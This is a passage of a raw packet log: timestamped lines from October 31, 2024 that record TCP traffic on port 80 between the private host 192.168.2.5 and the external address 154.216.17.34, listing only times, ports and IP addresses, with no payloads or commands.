Oct 31, 2024 02:09:11.015459061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.015480042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.015530109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015542030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015553951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015567064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015575886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.015578985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.015616894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.016336918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016387939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.016410112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016422033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016433954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016443968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016455889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016467094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.016496897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.016535044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016547918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016588926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.016767979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016784906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016797066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016808987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.016817093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.016854048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.057425976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.057447910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.057460070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.057507038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.057513952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.057524920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.057547092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.057562113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.057589054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089196920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089210033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089221001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089258909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089273930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089281082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089284897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089296103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089309931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089330912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089339972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089350939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089353085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089363098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089375019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089375973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089401960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089432955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089643002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089660883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089672089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.089694977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.089714050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.131835938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.131849051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.131860018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.131891966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.131903887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.131906986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.131913900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.131937981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.131956100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132118940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132174969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132185936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132198095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132206917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132234097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132263899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132371902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132420063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132427931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132431984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132469893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132497072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132507086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132551908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132683992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132694960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132704973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132735014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132746935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132886887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132898092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132909060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132939100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132947922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132958889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132965088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.132968903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.132997990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.133025885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.133356094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.133367062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.133377075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.133409023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.133409023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.133420944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.133438110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.133474112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.133712053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.133722067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.133763075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.174685001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.174705982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.174715996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.174760103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.174770117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.174781084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.174798012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.174832106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.206304073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206315994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206322908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206485033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.206500053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206516981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206527948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206540108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206546068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.206552029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206562996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206574917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206587076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.206619978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.206795931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206806898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206823111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206837893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206849098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.206964016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.207174063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.207194090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.207243919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.248768091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.248799086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.248809099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.248820066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.248848915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.248895884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249069929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249082088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249092102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249130964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249142885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249145031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249155045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249165058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249191046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249228001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249248981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249259949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249272108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249284029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249310970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249336004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249495983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249547958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249555111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249560118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249609947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249625921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249636889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249679089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249819994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249840975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249851942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249875069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249887943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249898911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.249906063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.249938965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.250144958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250154972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250194073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250196934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.250226974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.250243902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.250247955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250260115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250269890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250296116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.250320911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.250492096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250524044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250535011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.250543118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.250607014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.250607014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.291618109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.291630030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.291640997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.291672945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.291685104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.291696072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.291707993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.291745901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.323849916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.323911905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324023008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324033022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324044943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324057102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324068069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324069023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324079990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324083090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324120045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324199915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324209929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324249029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324377060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324388027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324398041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324409008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324419975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324420929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324450970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324479103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324805975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324817896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324829102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324841976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324851036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324853897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.324863911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.324902058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.365672112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.365681887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.365721941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.365731955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.365741968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.365777016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.365931034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.365942001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.365952015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.365973949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.365982056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366010904 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366034031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366121054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366132021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366142988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366174936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366195917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366214991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366225958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366235971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366257906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366269112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366285086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366296053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366322041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366339922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366605043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366636038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366645098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366667032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366678953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366734982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366744995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366755962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366766930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366782904 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366820097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.366981030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.366991997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.367002010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.367037058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.367046118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.367057085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.367068052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.367078066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.367104053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.367130995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.367445946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.367458105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.367466927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.367497921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.367510080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.408731937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.408744097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.408755064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.408760071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.408766031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.408771038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.408828974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.408855915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440468073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440479040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440490961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440536022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440541029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440550089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440578938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440606117 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440608978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440649033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440759897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440805912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440834999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440846920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440859079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440886974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440912008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440946102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440956116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440973997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440985918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.440989017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.440996885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.441011906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.441023111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.441041946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.441066980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.441242933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.441256046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.441267014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.441293955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.441317081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.441318989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.441329002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.441342115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.441358089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.441378117 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.482546091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482554913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482561111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482568979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482614994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.482691050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482700109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482747078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.482750893 CET	80	49982	154.216.17.34	192.168.2.5
